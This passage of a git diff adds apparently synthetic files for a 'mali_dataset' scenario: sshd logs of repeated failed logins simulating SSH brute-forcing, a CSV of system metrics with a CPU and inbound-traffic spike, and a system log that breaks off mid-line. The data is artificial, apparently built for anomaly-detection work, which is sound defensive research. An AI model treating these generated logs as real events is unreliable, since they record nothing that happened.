Failed password for ubuntu from 203.0.113.19 port 50147 ssh2 +Aug 15 10:04:08 server sshd[24911]: Failed password for admin from 203.0.113.19 port 8787 ssh2 +Aug 15 10:04:08 server sshd[24911]: Failed password for invalid user support from 203.0.113.19 port 41842 ssh2 +Aug 15 10:04:09 server sshd[24911]: Failed password for admin from 192.168.1.55 port 41387 ssh2 +Aug 15 10:04:09 server sshd[24911]: Failed password for root from 192.168.1.55 port 47626 ssh2 +Aug 15 10:04:09 server sshd[24911]: Failed password for ubuntu from 203.0.113.19 port 58063 ssh2 +Aug 15 10:04:10 server sshd[25011]: Failed password for invalid user guest from 172.16.254.1 port 35277 ssh2 +Aug 15 10:04:12 server sshd[25011]: Failed password for admin from 203.0.113.19 port 53658 ssh2 +Aug 15 10:04:12 server sshd[25011]: Failed password for invalid user admin from 192.168.1.55 port 13645 ssh2 +Aug 15 10:04:12 server sshd[25011]: Failed password for invalid user guest from 203.0.113.19 port 54999 ssh2 +Aug 15 10:04:12 server sshd[25011]: Failed password for support from 10.0.0.100 port 40827 ssh2 +Aug 15 10:04:13 server sshd[25011]: Failed password for ec2-user from 172.16.254.1 port 12517 ssh2 +Aug 15 10:04:13 server sshd[25011]: Failed password for user from 192.168.1.55 port 57250 ssh2 +Aug 15 10:04:14 server CRON[15034]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:14 server sshd[25011]: Failed password for guest from 172.16.254.1 port 16132 ssh2 +Aug 15 10:04:14 server sshd[25011]: Failed password for invalid user support from 10.0.0.100 port 20526 ssh2 +Aug 15 10:04:14 server sshd[25011]: Failed password for root from 10.0.0.100 port 4680 ssh2 +Aug 15 10:04:14 server sshd[25011]: Failed password for support from 10.0.0.100 port 46499 ssh2 +Aug 15 10:04:16 server sshd[25111]: Failed password for backup from 192.168.1.55 port 59694 ssh2 +Aug 15 10:04:16 server sshd[25111]: Failed password for ec2-user from 192.168.1.55 port 56425 ssh2 +Aug 15 10:04:18 server sshd[25111]: Failed password for guest from 192.168.1.55 port 2413 ssh2 +Aug 15 10:04:18 server sshd[25111]: Failed password for test from 203.0.113.19 port 22785 ssh2 +Aug 15 10:04:18 server sshd[25111]: Failed password for ubuntu from 172.16.254.1 port 20991 ssh2 +Aug 15 10:04:20 server sshd[25211]: Failed password for guest from 192.168.1.55 port 33994 ssh2 +Aug 15 10:04:20 server sshd[25211]: Failed password for invalid user admin from 172.16.254.1 port 7480 ssh2 +Aug 15 10:04:20 server sshd[25211]: Failed password for invalid user support from 10.0.0.100 port 12977 ssh2 +Aug 15 10:04:20 server sshd[25211]: Failed password for ubuntu from 203.0.113.19 port 46598 ssh2 +Aug 15 10:04:21 server sshd[25211]: Failed password for admin from 192.168.1.55 port 15265 ssh2 +Aug 15 10:04:21 server sshd[25211]: Failed password for ec2-user from 203.0.113.19 port 59599 ssh2 +Aug 15 10:04:21 server sshd[25211]: Failed password for ubuntu from 192.168.1.55 port 41401 ssh2 +Aug 15 10:04:22 server sshd[25211]: Failed password for support from 192.168.1.55 port 60001 ssh2 +Aug 15 10:04:22 server sshd[25211]: Failed password for test from 172.16.254.1 port 44074 ssh2 +Aug 15 10:04:23 server sshd[25211]: Failed password for ec2-user from 192.168.1.55 port 3212 ssh2 +Aug 15 10:04:23 server sshd[25211]: Failed password for ec2-user from 203.0.113.19 port 20002 ssh2 +Aug 15 10:04:23 server sshd[25211]: Failed password for user from 192.168.1.55 port 41473 ssh2 +Aug 15 10:04:25 server sshd[25311]: Failed password for admin from 10.0.0.100 port 12374 ssh2 +Aug 15 10:04:25 server sshd[25311]: Failed password for admin from 192.168.1.55 port 45909 ssh2 +Aug 15 10:04:25 server sshd[25311]: Failed password for guest from 10.0.0.100 port 8399 ssh2 +Aug 15 10:04:25 server sshd[25311]: Failed password for invalid user test from 172.16.254.1 port 64640 ssh2 +Aug 15 10:04:26 server sshd[25311]: Failed password for support from 203.0.113.19 port 60690 ssh2 +Aug 15 10:04:27 server sshd[25311]: Failed password for ec2-user from 10.0.0.100 port 9564 ssh2 +Aug 15 10:04:27 server sshd[25311]: Failed password for support from 192.168.1.55 port 46055 ssh2 +Aug 15 10:04:28 server sshd[25311]: Failed password for user from 192.168.1.55 port 8305 ssh2 +Aug 15 10:04:30 server sshd[25411]: Failed password for admin from 172.16.254.1 port 40930 ssh2 +Aug 15 10:04:30 server sshd[25411]: Failed password for invalid user backup from 10.0.0.100 port 33815 ssh2 +Aug 15 10:04:30 server sshd[25411]: Failed password for invalid user ubuntu from 172.16.254.1 port 19512 ssh2 +Aug 15 10:04:31 server sshd[25411]: Failed password for admin from 203.0.113.19 port 6243 ssh2 +Aug 15 10:04:31 server sshd[25411]: Failed password for test from 203.0.113.19 port 17933 ssh2 +Aug 15 10:04:32 server sshd[25411]: Failed password for invalid user ubuntu from 192.168.1.55 port 38811 ssh2 +Aug 15 10:04:32 server sshd[25411]: Failed password for invalid user user from 172.16.254.1 port 44500 ssh2 +Aug 15 10:04:32 server sshd[25411]: Failed password for support from 192.168.1.55 port 29163 ssh2 +Aug 15 10:04:33 server sshd[25411]: Failed password for backup from 10.0.0.100 port 44028 ssh2 +Aug 15 10:04:33 server sshd[25411]: Failed password for invalid user ec2-user from 172.16.254.1 port 52702 ssh2 +Aug 15 10:04:34 server sshd[25411]: Failed password for invalid user ec2-user from 172.16.254.1 port 46703 ssh2 +Aug 15 10:04:35 server sshd[25511]: Failed password for invalid user support from 10.0.0.100 port 33856 ssh2 +Aug 15 10:04:35 server sshd[25511]: Failed password for invalid user test from 192.168.1.55 port 23927 ssh2 +Aug 15 10:04:35 server sshd[25511]: Failed password for ubuntu from 192.168.1.55 port 50540 ssh2 +Aug 15 10:04:37 server sshd[25511]: Failed password for invalid user guest from 192.168.1.55 port 58276 ssh2 +Aug 15 10:04:37 server sshd[25511]: Failed password for invalid user ubuntu from 10.0.0.100 port 12577 ssh2 +Aug 15 10:04:37 server sshd[25511]: Failed password for root from 172.16.254.1 port 29601 ssh2 +Aug 15 10:04:37 server sshd[25511]: Failed password for root from 192.168.1.55 port 10875 ssh2 +Aug 15 10:04:37 server sshd[25511]: Failed password for test from 192.168.1.55 port 14453 ssh2 +Aug 15 10:04:38 server sshd[25511]: Failed password for user from 192.168.1.55 port 29136 ssh2 +Aug 15 10:04:39 server sshd[25511]: Failed password for invalid user support from 203.0.113.19 port 1575 ssh2 +Aug 15 10:04:39 server sshd[25511]: Failed password for test from 172.16.254.1 port 23975 ssh2 +Aug 15 10:04:40 server sshd[25611]: Failed password for support from 192.168.1.55 port 6583 ssh2 +Aug 15 10:04:41 server sshd[25611]: Failed password for guest from 192.168.1.55 port 2462 ssh2 +Aug 15 10:04:41 server sshd[25611]: Failed password for invalid user admin from 10.0.0.100 port 31373 ssh2 +Aug 15 10:04:41 server sshd[25611]: Failed password for support from 203.0.113.19 port 62497 ssh2 +Aug 15 10:04:42 server sshd[25611]: Failed password for guest from 172.16.254.1 port 4870 ssh2 +Aug 15 10:04:43 server sshd[25611]: Failed password for admin from 203.0.113.19 port 19529 ssh2 +Aug 15 10:04:43 server sshd[25611]: Failed password for user from 192.168.1.55 port 41494 ssh2 +Aug 15 10:04:44 server sshd[25611]: Failed password for backup from 172.16.254.1 port 45606 ssh2 +Aug 15 10:04:44 server sshd[25611]: Failed password for user from 10.0.0.100 port 38419 ssh2 +Aug 15 10:04:45 server sshd[25711]: Failed password for user from 10.0.0.100 port 55361 ssh2 +Aug 15 10:04:46 server sshd[25711]: Failed password for ec2-user from 192.168.1.55 port 19596 ssh2 +Aug 15 10:04:46 server sshd[25711]: Failed password for invalid user admin from 172.16.254.1 port 36048 ssh2 +Aug 15 10:04:46 server sshd[25711]: Failed password for invalid user guest from 172.16.254.1 port 13451 ssh2 +Aug 15 10:04:46 server sshd[25711]: Failed password for invalid user ubuntu from 172.16.254.1 port 2495 ssh2 +Aug 15 10:04:46 server sshd[25711]: Failed password for ubuntu from 203.0.113.19 port 30063 ssh2 +Aug 15 10:04:46 server sshd[25711]: Failed password for user from 192.168.1.55 port 9412 ssh2 +Aug 15 10:04:47 server sshd[25711]: Failed password for invalid user support from 203.0.113.19 port 21469 ssh2 +Aug 15 10:04:47 server sshd[25711]: Failed password for test from 192.168.1.55 port 31287 ssh2 +Aug 15 10:04:47 server sshd[25711]: Failed password for user from 172.16.254.1 port 16292 ssh2 +Aug 15 10:04:48 server sshd[25711]: Failed password for test from 203.0.113.19 port 2487 ssh2 +Aug 15 10:04:49 server sshd[25711]: Failed password for support from 10.0.0.100 port 8928 ssh2 +Aug 15 10:04:50 server sshd[25811]: Failed password for ec2-user from 10.0.0.100 port 18897 ssh2 +Aug 15 10:04:50 server sshd[25811]: Failed password for invalid user admin from 172.16.254.1 port 23086 ssh2 +Aug 15 10:04:50 server sshd[25811]: Failed password for invalid user backup from 10.0.0.100 port 39254 ssh2 +Aug 15 10:04:50 server sshd[25811]: Failed password for test from 172.16.254.1 port 47760 ssh2 +Aug 15 10:04:51 server sshd[25811]: Failed password for user from 192.168.1.55 port 7172 ssh2 +Aug 15 10:04:52 server sshd[25811]: Failed password for admin from 172.16.254.1 port 59100 ssh2 +Aug 15 10:04:52 server sshd[25811]: Failed password for invalid user backup from 172.16.254.1 port 50961 ssh2 +Aug 15 10:04:52 server sshd[25811]: Failed password for invalid user ec2-user from 172.16.254.1 port 29097 ssh2 +Aug 15 10:04:53 server sshd[25811]: Failed password for guest from 10.0.0.100 port 22844 ssh2 +Aug 15 10:04:53 server sshd[25811]: Failed password for invalid user ec2-user from 192.168.1.55 port 30331 ssh2 +Aug 15 10:04:53 server sshd[25811]: Failed password for ubuntu from 203.0.113.19 port 33296 ssh2 +Aug 15 10:04:54 server sshd[25811]: Failed password for invalid user support from 172.16.254.1 port 7159 ssh2 +Aug 15 10:04:55 server sshd[25911]: Failed password for invalid user support from 172.16.254.1 port 1241 ssh2 +Aug 15 10:04:55 server sshd[25911]: Failed password for support from 192.168.1.55 port 16220 ssh2 +Aug 15 10:04:55 server sshd[25911]: Failed password for test from 192.168.1.55 port 50809 ssh2 +Aug 15 10:04:56 server sshd[25911]: Failed password for invalid user support from 10.0.0.100 port 2703 ssh2 +Aug 15 10:04:57 server sshd[25911]: Failed password for invalid user ec2-user from 192.168.1.55 port 52520 ssh2 +Aug 15 10:04:57 server sshd[25911]: Failed password for invalid user guest from 192.168.1.55 port 4014 ssh2 +Aug 15 10:04:58 server sshd[25911]: Failed password for ubuntu from 172.16.254.1 port 20318 ssh2 +Aug 15 10:04:58 server sshd[25911]: Failed password for ubuntu from 192.168.1.55 port 28948 ssh2 +Aug 15 10:04:59 server sshd[25911]: Failed password for invalid user support from 192.168.1.55 port 43168 ssh2 +Aug 15 10:05:00 server sshd[26011]: Failed password for invalid user guest from 192.168.1.55 port 59612 ssh2 +Aug 15 10:05:00 server sshd[26011]: Failed password for root from 203.0.113.19 port 54341 ssh2 +Aug 15 10:05:01 server sshd[26011]: Failed password for ubuntu from 172.16.254.1 port 53445 ssh2 +Aug 15 10:05:02 server sshd[26011]: Failed password for root from 172.16.254.1 port 23523 ssh2 +Aug 15 10:05:04 server sshd[26011]: Failed password for admin from 192.168.1.55 port 36967 ssh2 +Aug 15 10:05:04 server sshd[26011]: Failed password for invalid user admin from 203.0.113.19 port 56087 ssh2 +Aug 15 10:05:04 server sshd[26011]: Failed password for test from 10.0.0.100 port 49483 ssh2 +Aug 15 10:05:05 server sshd[26111]: Failed password for invalid user backup from 172.16.254.1 port 54390 ssh2 +Aug 15 10:05:05 server sshd[26111]: Failed password for invalid user ec2-user from 203.0.113.19 port 54078 ssh2 +Aug 15 10:05:05 server sshd[26111]: Failed password for invalid user ubuntu from 172.16.254.1 port 15105 ssh2 +Aug 15 10:05:06 server sshd[26111]: Failed password for ec2-user from 10.0.0.100 port 40765 ssh2 +Aug 15 10:05:06 server sshd[26111]: Failed password for support from 172.16.254.1 port 54094 ssh2 +Aug 15 10:05:07 server sshd[26111]: Failed password for test from 192.168.1.55 port 11211 ssh2 +Aug 15 10:05:08 server sshd[26111]: Failed password for invalid user support from 203.0.113.19 port 50273 ssh2 +Aug 15 10:05:08 server sshd[26111]: Failed password for support from 10.0.0.100 port 41740 ssh2 +Aug 15 10:05:09 server sshd[26111]: Failed password for guest from 192.168.1.55 port 59315 ssh2 +Aug 15 10:05:09 server sshd[26111]: Failed password for invalid user ec2-user from 203.0.113.19 port 43031 ssh2 +Aug 15 10:05:09 server sshd[26111]: Failed password for support from 192.168.1.55 port 63711 ssh2 +Aug 15 10:05:10 server sshd[26211]: Failed password for test from 203.0.113.19 port 24713 ssh2 +Aug 15 10:05:11 server sshd[26211]: Failed password for support from 203.0.113.19 port 42498 ssh2 +Aug 15 10:05:12 server sshd[26211]: Failed password for ec2-user from 172.16.254.1 port 24952 ssh2 +Aug 15 10:05:12 server sshd[26211]: Failed password for invalid user ec2-user from 172.16.254.1 port 47836 ssh2 +Aug 15 10:05:13 server sshd[26211]: Failed password for invalid user user from 203.0.113.19 port 54373 ssh2 +Aug 15 10:05:13 server sshd[26211]: Failed password for user from 172.16.254.1 port 8601 ssh2 +Aug 15 10:05:16 server sshd[26311]: Failed password for ubuntu from 203.0.113.19 port 53456 ssh2 +Aug 15 10:05:17 server sshd[26311]: Failed password for admin from 172.16.254.1 port 11801 ssh2 +Aug 15 10:05:17 server sshd[26311]: Failed password for backup from 10.0.0.100 port 50197 ssh2 +Aug 15 10:05:17 server sshd[26311]: Failed password for ec2-user from 192.168.1.55 port 12780 ssh2 +Aug 15 10:05:17 server sshd[26311]: Failed password for invalid user user from 172.16.254.1 port 50281 ssh2 +Aug 15 10:05:17 server sshd[26311]: Failed password for test from 10.0.0.100 port 65043 ssh2 +Aug 15 10:05:17 server sshd[26311]: Failed password for test from 192.168.1.55 port 46935 ssh2 +Aug 15 10:05:18 server sshd[26311]: Failed password for guest from 203.0.113.19 port 34773 ssh2 +Aug 15 10:05:18 server sshd[26311]: Failed password for support from 203.0.113.19 port 25145 ssh2 +Aug 15 10:05:19 server sshd[26311]: Failed password for user from 192.168.1.55 port 7587 ssh2 +Aug 15 10:05:20 server sshd[26411]: Failed password for guest from 172.16.254.1 port 13893 ssh2 +Aug 15 10:05:20 server sshd[26411]: Failed password for invalid user ec2-user from 10.0.0.100 port 64643 ssh2 +Aug 15 10:05:20 server sshd[26411]: Failed password for support from 10.0.0.100 port 37699 ssh2 +Aug 15 10:05:20 server sshd[26411]: Failed password for support from 192.168.1.55 port 41632 ssh2 +Aug 15 10:05:21 server sshd[26411]: Failed password for admin from 192.168.1.55 port 64386 ssh2 +Aug 15 10:05:21 server sshd[26411]: Failed password for backup from 192.168.1.55 port 12020 ssh2 +Aug 15 10:05:21 server sshd[26411]: Failed password for root from 10.0.0.100 port 53370 ssh2 +Aug 15 10:05:21 server sshd[26411]: Failed password for support from 10.0.0.100 port 40149 ssh2 +Aug 15 10:05:22 server sshd[26411]: Failed password for ec2-user from 172.16.254.1 port 28946 ssh2 +Aug 15 10:05:24 server sshd[26411]: Failed password for backup from 10.0.0.100 port 22371 ssh2 +Aug 15 10:05:24 server sshd[26411]: Failed password for invalid user backup from 10.0.0.100 port 1058 ssh2 +Aug 15 10:05:24 server sshd[26411]: Failed password for ubuntu from 10.0.0.100 port 40574 ssh2 +Aug 15 10:05:26 server sshd[26511]: Failed password for guest from 203.0.113.19 port 18567 ssh2 +Aug 15 10:05:26 server sshd[26511]: Failed password for invalid user ec2-user from 10.0.0.100 port 39154 ssh2 +Aug 15 10:05:26 server sshd[26511]: Failed password for test from 172.16.254.1 port 31495 ssh2 +Aug 15 10:05:26 server sshd[26511]: Failed password for ubuntu from 172.16.254.1 port 28858 ssh2 +Aug 15 10:05:27 server sshd[26511]: Failed password for guest from 192.168.1.55 port 43517 ssh2 +Aug 15 10:05:27 server sshd[26511]: Failed password for root from 10.0.0.100 port 60932 ssh2 +Aug 15 10:05:27 server sshd[26511]: Failed password for support from 192.168.1.55 port 2613 ssh2 +Aug 15 10:05:27 server sshd[26511]: Failed password for ubuntu from 172.16.254.1 port 55479 ssh2 +Aug 15 10:05:31 server sshd[26611]: Failed password for invalid user root from 172.16.254.1 port 14364 ssh2 +Aug 15 10:05:31 server sshd[26611]: Failed password for invalid user support from 172.16.254.1 port 44756 ssh2 +Aug 15 10:05:31 server sshd[26611]: Failed password for root from 172.16.254.1 port 57368 ssh2 +Aug 15 10:05:32 server sshd[26611]: Failed password for guest from 172.16.254.1 port 59101 ssh2 +Aug 15 10:05:33 server sshd[26611]: Failed password for backup from 203.0.113.19 port 26339 ssh2 +Aug 15 10:05:33 server sshd[26611]: Failed password for invalid user admin from 192.168.1.55 port 19489 ssh2 +Aug 15 10:05:33 server sshd[26611]: Failed password for invalid user backup from 192.168.1.55 port 38159 ssh2 +Aug 15 10:05:33 server sshd[26611]: Failed password for invalid user guest from 172.16.254.1 port 23003 ssh2 +Aug 15 10:05:33 server sshd[26611]: Failed password for invalid user guest from 192.168.1.55 port 16366 ssh2 +Aug 15 10:05:33 server sshd[26611]: Failed password for invalid user ubuntu from 203.0.113.19 port 49064 ssh2 +Aug 15 10:05:34 server sshd[26611]: Failed password for admin from 172.16.254.1 port 19042 ssh2 +Aug 15 10:05:35 server sshd[26711]: Failed password for invalid user backup from 203.0.113.19 port 63112 ssh2 +Aug 15 10:05:36 server sshd[26711]: Failed password for support from 10.0.0.100 port 30540 ssh2 +Aug 15 10:05:36 server sshd[26711]: Failed password for support from 10.0.0.100 port 63605 ssh2 +Aug 15 10:05:36 server sshd[26711]: Failed password for ubuntu from 172.16.254.1 port 19706 ssh2 +Aug 15 10:05:37 server sshd[26711]: Failed password for invalid user guest from 203.0.113.19 port 1709 ssh2 +Aug 15 10:05:38 server sshd[26711]: Failed password for ec2-user from 10.0.0.100 port 64683 ssh2 +Aug 15 10:05:39 server sshd[26711]: Failed password for admin from 172.16.254.1 port 25076 ssh2 +Aug 15 10:05:39 server sshd[26711]: Failed password for invalid user support from 10.0.0.100 port 49472 ssh2 +Aug 15 10:05:39 server sshd[26711]: Failed password for invalid user ubuntu from 192.168.1.55 port 31639 ssh2 +Aug 15 10:05:40 server sshd[26811]: Failed password for ec2-user from 10.0.0.100 port 23299 ssh2 +Aug 15 10:05:40 server sshd[26811]: Failed password for guest from 192.168.1.55 port 25609 ssh2 +Aug 15 10:05:40 server sshd[26811]: Failed password for invalid user test from 172.16.254.1 port 44835 ssh2 +Aug 15 10:05:40 server sshd[26811]: Failed password for support from 172.16.254.1 port 7149 ssh2 +Aug 15 10:05:42 server sshd[26811]: Failed password for invalid user guest from 172.16.254.1 port 47766 ssh2 +Aug 15 10:05:42 server sshd[26811]: Failed password for invalid user guest from 192.168.1.55 port 33023 ssh2 +Aug 15 10:05:42 server sshd[26811]: Failed password for root from 172.16.254.1 port 56321 ssh2 +Aug 15 10:05:42 server sshd[26811]: Failed password for test from 203.0.113.19 port 54307 ssh2 +Aug 15 10:05:42 server sshd[26811]: Failed password for ubuntu from 172.16.254.1 port 41858 ssh2 +Aug 15 10:05:43 server sshd[26811]: Failed password for invalid user root from 203.0.113.19 port 9426 ssh2 +Aug 15 10:05:44 server sshd[26811]: Failed password for invalid user backup from 192.168.1.55 port 61343 ssh2 +Aug 15 10:05:46 server sshd[26911]: Failed password for support from 203.0.113.19 port 3426 ssh2 +Aug 15 10:05:46 server sshd[26911]: Failed password for support from 203.0.113.19 port 40475 ssh2 +Aug 15 10:05:47 server sshd[26911]: Failed password for guest from 192.168.1.55 port 58056 ssh2 +Aug 15 10:05:47 server sshd[26911]: Failed password for invalid user admin from 172.16.254.1 port 4260 ssh2 +Aug 15 10:05:47 server sshd[26911]: Failed password for root from 10.0.0.100 port 18781 ssh2 +Aug 15 10:05:48 server sshd[26911]: Failed password for invalid user test from 10.0.0.100 port 44504 ssh2 +Aug 15 10:05:49 server sshd[26911]: Failed password for guest from 10.0.0.100 port 37979 ssh2 +Aug 15 10:05:49 server sshd[26911]: Failed password for invalid user support from 10.0.0.100 port 14457 ssh2 +Aug 15 10:05:49 server sshd[26911]: Failed password for invalid user support from 203.0.113.19 port 37989 ssh2 +Aug 15 10:05:49 server sshd[26911]: Failed password for invalid user test from 10.0.0.100 port 2493 ssh2 +Aug 15 10:05:49 server sshd[26911]: Failed password for root from 192.168.1.55 port 54351 ssh2 +Aug 15 10:05:50 server sshd[27011]: Failed password for ubuntu from 192.168.1.55 port 58724 ssh2 +Aug 15 10:05:51 server sshd[27011]: Failed password for user from 10.0.0.100 port 10033 ssh2 +Aug 15 10:05:52 server sshd[27011]: Failed password for invalid user backup from 203.0.113.19 port 24660 ssh2 +Aug 15 10:05:52 server sshd[27011]: Failed password for invalid user user from 203.0.113.19 port 22672 ssh2 +Aug 15 10:05:52 server sshd[27011]: Failed password for support from 192.168.1.55 port 44071 ssh2 +Aug 15 10:05:53 server sshd[27011]: Failed password for invalid user ec2-user from 10.0.0.100 port 33006 ssh2 +Aug 15 10:05:53 server sshd[27011]: Failed password for invalid user ubuntu from 172.16.254.1 port 7065 ssh2 +Aug 15 10:05:53 server sshd[27011]: Failed password for test from 192.168.1.55 port 27825 ssh2 +Aug 15 10:05:53 server sshd[27011]: Failed password for user from 192.168.1.55 port 43947 ssh2 +Aug 15 10:05:54 server sshd[27011]: Failed password for admin from 10.0.0.100 port 64134 ssh2 +Aug 15 10:05:54 server sshd[27011]: Failed password for user from 192.168.1.55 port 3324 ssh2 +Aug 15 10:05:55 server sshd[27111]: Failed password for invalid user ubuntu from 192.168.1.55 port 31408 ssh2 +Aug 15 10:05:56 server sshd[27111]: Failed password for guest from 203.0.113.19 port 25756 ssh2 +Aug 15 10:05:57 server sshd[27111]: Failed password for admin from 10.0.0.100 port 51315 ssh2 +Aug 15 10:05:57 server sshd[27111]: Failed password for ubuntu from 192.168.1.55 port 55297 ssh2 +Aug 15 10:05:59 server sshd[27111]: Failed password for backup from 203.0.113.19 port 41721 ssh2 +Aug 15 10:05:59 server sshd[27111]: Failed password for support from 10.0.0.100 port 32755 ssh2 +Aug 15 10:06:15 server CRON[17534]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:06:16 server systemd[1]: Starting daily clean up activities... diff --git a/mali_dataset/scenario_7/mali_7_18.csv b/mali_dataset/scenario_7/mali_7_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..a65b0498e392abfbb32a01ba5020b7ae75837a9b --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,12.43,39.35,25.14,0.64,0.68 +2025-08-26T14:00:05Z,11.85,40.31,29.02,0.53,1.06 +2025-08-26T14:00:10Z,13.33,40.76,31.28,1.02,1.1 +2025-08-26T14:00:15Z,16.75,41.18,31.88,0.7,0.92 +2025-08-26T14:00:20Z,17.05,41.43,27.45,1.34,1.17 +2025-08-26T14:00:25Z,13.0,41.69,25.91,1.14,1.37 +2025-08-26T14:00:30Z,19.82,38.02,25.27,0.98,1.49 +2025-08-26T14:00:35Z,19.32,41.62,28.18,0.81,1.16 +2025-08-26T14:00:40Z,11.84,40.78,27.2,1.3,0.85 +2025-08-26T14:00:45Z,19.94,38.63,30.52,0.76,0.99 +2025-08-26T14:00:50Z,18.17,39.77,25.39,1.4,0.85 +2025-08-26T14:00:55Z,17.83,41.2,27.93,1.37,1.02 +2025-08-26T14:01:00Z,14.86,40.89,32.06,0.61,0.69 +2025-08-26T14:01:05Z,17.27,38.6,28.89,0.54,0.97 +2025-08-26T14:01:10Z,13.92,39.51,28.77,1.43,1.09 +2025-08-26T14:01:15Z,13.96,38.17,30.5,0.65,1.23 +2025-08-26T14:01:20Z,15.71,41.56,25.33,0.76,0.82 +2025-08-26T14:01:25Z,13.22,38.91,32.32,1.28,0.51 +2025-08-26T14:01:30Z,18.13,40.01,30.23,1.04,1.35 +2025-08-26T14:01:35Z,15.94,40.12,31.46,0.9,1.12 +2025-08-26T14:01:40Z,14.38,39.01,34.61,1.33,0.73 +2025-08-26T14:01:45Z,15.81,39.75,32.39,0.58,0.64 +2025-08-26T14:01:50Z,13.6,41.55,33.02,0.53,1.2 +2025-08-26T14:01:55Z,12.71,40.81,30.94,1.4,1.02 +2025-08-26T14:02:00Z,75.77,38.3,30.35,12.52,1.25 +2025-08-26T14:02:05Z,91.11,39.68,25.4,8.68,0.61 +2025-08-26T14:02:10Z,94.09,39.12,29.87,11.39,0.7 +2025-08-26T14:02:15Z,85.19,40.16,31.12,15.5,0.58 +2025-08-26T14:02:20Z,92.66,39.94,34.99,8.77,1.39 +2025-08-26T14:02:25Z,92.19,38.89,32.37,13.37,0.55 +2025-08-26T14:02:30Z,88.0,39.19,25.49,15.92,1.3 +2025-08-26T14:02:35Z,96.38,38.02,27.46,13.87,0.84 +2025-08-26T14:02:40Z,77.07,40.5,33.97,9.23,1.21 +2025-08-26T14:02:45Z,97.2,39.02,33.35,8.54,0.53 +2025-08-26T14:02:50Z,78.75,40.4,28.54,15.83,0.68 +2025-08-26T14:02:55Z,85.34,38.74,30.34,13.01,1.23 +2025-08-26T14:03:00Z,95.94,40.75,30.38,10.36,1.17 +2025-08-26T14:03:05Z,89.93,41.26,31.71,10.03,1.45 +2025-08-26T14:03:10Z,90.74,41.2,31.0,8.76,1.33 +2025-08-26T14:03:15Z,96.12,38.54,26.86,9.15,0.83 +2025-08-26T14:03:20Z,96.95,41.08,25.18,11.76,0.57 +2025-08-26T14:03:25Z,78.65,39.68,32.33,12.21,1.1 +2025-08-26T14:03:30Z,96.53,39.38,27.38,17.64,1.22 +2025-08-26T14:03:35Z,88.64,41.5,33.37,15.32,1.12 +2025-08-26T14:03:40Z,94.63,38.62,30.72,13.39,0.97 +2025-08-26T14:03:45Z,78.79,40.1,28.74,12.71,0.94 +2025-08-26T14:03:50Z,94.15,39.61,29.13,11.84,1.39 +2025-08-26T14:03:55Z,75.44,39.8,29.86,13.3,1.39 +2025-08-26T14:04:00Z,95.42,41.25,33.04,13.69,1.33 +2025-08-26T14:04:05Z,76.81,38.11,27.71,16.35,0.57 +2025-08-26T14:04:10Z,78.73,39.62,33.08,9.06,0.76 +2025-08-26T14:04:15Z,79.88,40.44,25.28,10.58,1.39 +2025-08-26T14:04:20Z,93.09,40.5,29.63,10.29,1.12 +2025-08-26T14:04:25Z,75.13,41.31,34.82,16.19,0.58 +2025-08-26T14:04:30Z,79.21,40.16,26.0,16.77,0.56 +2025-08-26T14:04:35Z,90.65,40.46,25.76,12.65,0.89 +2025-08-26T14:04:40Z,91.64,41.57,29.51,13.15,0.69 +2025-08-26T14:04:45Z,97.33,40.34,34.88,15.62,0.66 +2025-08-26T14:04:50Z,83.3,40.2,31.49,18.0,0.91 +2025-08-26T14:04:55Z,83.57,38.91,27.59,10.1,1.4 +2025-08-26T14:05:00Z,19.4,41.3,34.74,0.66,0.94 +2025-08-26T14:05:05Z,11.99,40.4,32.13,0.73,0.58 +2025-08-26T14:05:10Z,15.88,38.48,27.54,0.79,1.23 +2025-08-26T14:05:15Z,10.87,40.52,29.89,0.71,0.73 +2025-08-26T14:05:20Z,16.55,41.67,34.14,1.43,0.83 +2025-08-26T14:05:25Z,16.95,39.35,30.76,1.18,0.74 +2025-08-26T14:05:30Z,10.2,38.13,29.73,1.14,1.29 +2025-08-26T14:05:35Z,11.29,38.03,26.71,0.71,0.52 +2025-08-26T14:05:40Z,17.15,41.61,29.15,1.36,1.11 +2025-08-26T14:05:45Z,19.68,41.42,34.54,0.71,0.62 +2025-08-26T14:05:50Z,10.73,38.25,31.62,1.01,0.77 +2025-08-26T14:05:55Z,16.63,39.5,30.74,0.68,0.67 +2025-08-26T14:06:00Z,11.24,41.1,30.7,1.32,1.42 +2025-08-26T14:06:05Z,10.75,40.09,28.45,0.86,0.91 +2025-08-26T14:06:10Z,19.62,40.48,33.31,0.67,1.37 +2025-08-26T14:06:15Z,12.1,38.81,28.05,1.34,0.92 +2025-08-26T14:06:20Z,12.45,41.57,25.4,1.22,0.6 +2025-08-26T14:06:25Z,10.1,41.36,34.42,0.96,1.01 +2025-08-26T14:06:30Z,14.22,40.4,29.45,1.14,1.33 +2025-08-26T14:06:35Z,17.44,38.85,32.35,0.97,1.39 +2025-08-26T14:06:40Z,19.63,40.47,25.41,1.03,1.36 +2025-08-26T14:06:45Z,16.47,39.7,30.76,1.06,1.45 +2025-08-26T14:06:50Z,15.16,40.42,30.37,1.32,1.05 +2025-08-26T14:06:55Z,11.57,41.17,28.87,1.17,1.22 +2025-08-26T14:07:00Z,12.47,39.64,34.59,0.9,1.41 +2025-08-26T14:07:05Z,12.47,39.65,31.11,0.75,0.62 +2025-08-26T14:07:10Z,16.94,41.01,32.9,0.72,0.99 +2025-08-26T14:07:15Z,15.22,40.37,33.6,1.5,0.73 +2025-08-26T14:07:20Z,11.76,41.6,34.85,1.14,1.04 +2025-08-26T14:07:25Z,18.46,40.75,26.6,0.68,1.08 diff --git a/mali_dataset/scenario_7/mali_7_18.log b/mali_dataset/scenario_7/mali_7_18.log new file mode 100644 index 0000000000000000000000000000000000000000..bb29f2d70bffd1608fa1e53ac73a7c41db9f42dc --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_18.log @@ -0,0 +1,292 @@ +Aug 26 14:00:06 server systemd[1]: Starting daily clean up activities... +Aug 26 14:00:15 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 26 14:00:37 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:01:12 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:01:43 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:01:50 server 